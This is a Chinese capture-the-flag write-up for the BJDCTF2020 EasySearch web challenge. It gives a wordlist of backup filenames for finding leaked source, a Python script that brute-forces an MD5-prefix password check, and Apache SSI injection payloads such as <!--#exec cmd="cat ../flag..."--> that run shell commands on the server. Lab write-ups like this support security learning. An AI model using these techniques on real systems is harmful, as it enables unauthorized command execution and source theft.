Bootstrap

[BJDCTF2020]EasySearch (SSI注入漏洞)

这题ctrl+U发现往index.php提交数据,但是我目录,git泄露,sqlmap,爆破admin密码都没有作用,数据包页面也没有什么重置密码注册的功能

这种三无题多半是要拿源码做的,我又拿我备份文件字典扫了一下结果发现index.php.swp为源码备份文件,字典也给你们丢下面了

常见的网站源码备份文件

dweb.tar
website.tar
backup.tar
back.tar
www.tar
wwwroot.tar
temp.tar
web.tar.gz
website.tar.gz
backup.tar.gz
back.tar.gz
www.tar.gz
wwwroot.tar.gz
temp.tar.gz
web.zip
website.zip
backup.zip
back.zip
www.zip
wwwroot.zip
temp.zip
web.rar
website.rar
backup.rar
back.rar
WWW.rar
wwwroot.rar
temp.rar
.index.php.swp
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
www.7z
web.7z
web.tar
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old

审计代码:

该代码定义了一个名为get_hash()的函数,该函数用于生成一个SHA1哈希值。

在函数内部,首先定义了一个包含字母、数字和特殊字符的字符串$chars,用于生成随机字符串。然后使用mt_rand()函数从$chars字符串中随机选择5次字符,并将这5个字符拼接起来,形成一个随机字符串$random。

接下来,使用uniqid()函数生成一个唯一的字符串,并将其与$random拼接在一起,形成最终的字符串$content。

最后,使用sha1()函数对$content进行SHA1哈希运算,并返回哈希值。

因此,调用get_hash()函数将返回一个随机生成的SHA1哈希值。

下面这里发现只要username存在不为空,并且只有截取md5函数加密后的password前六个字符等于6d0bc1,才能进行下面的写文件操作

我用ai写了个python脚本,通过枚举的方式找到满足条件的字符串。

import hashlib

def generate_md5(prefix):
    count = 0
    while True:
        data = prefix + str(count)
        md5_hash = hashlib.md5(data.encode()).hexdigest()
        if md5_hash.startswith(prefix):
            return md5_hash, data
        count += 1

prefix = input("请输入六个字符的前缀:")
md5_hash, data = generate_md5(prefix)
print("MD5值:", md5_hash)
print("加密前的数据:", data)

运行结果

找个网站加密发现确实是以6d0bc1开头的

username随便输,密码输入脚本跑出来的加密前数据成功弹窗说明成功绕过

因为这里写了头部数据格式,在index.php数据包中发现生成的文件路径

进来后又不知道干嘛了,看到有个ip,XFF试了一下没鸟用

整了半天没办法了去看看别人wp发现又是个新知识点,参考文章:

Apache SSI 远程命令执行漏洞(SSI注入漏洞)_<!--#exec cmd="ls" -->-CSDN博客

Apache SSI 远程命令执行漏洞
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="ls /" -->语法来执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

构造payload:username=<!--#exec cmd="ls" -->密码输入6d0bc14719749

此时命令已经写入到shtml文件里面了,只需要访问即可执行

数据包中找到路径

发现成功执行了!

看看上机目录,构造payload:<!--#exec cmd="ls ../" -->       密码6d0bc14719749

直接用他的输入框输就行了

发现成功执行,这玩意一看就是放flag的地方

最终payload:

用户名<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

密码6d0bc14719749

成功拿到flag

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;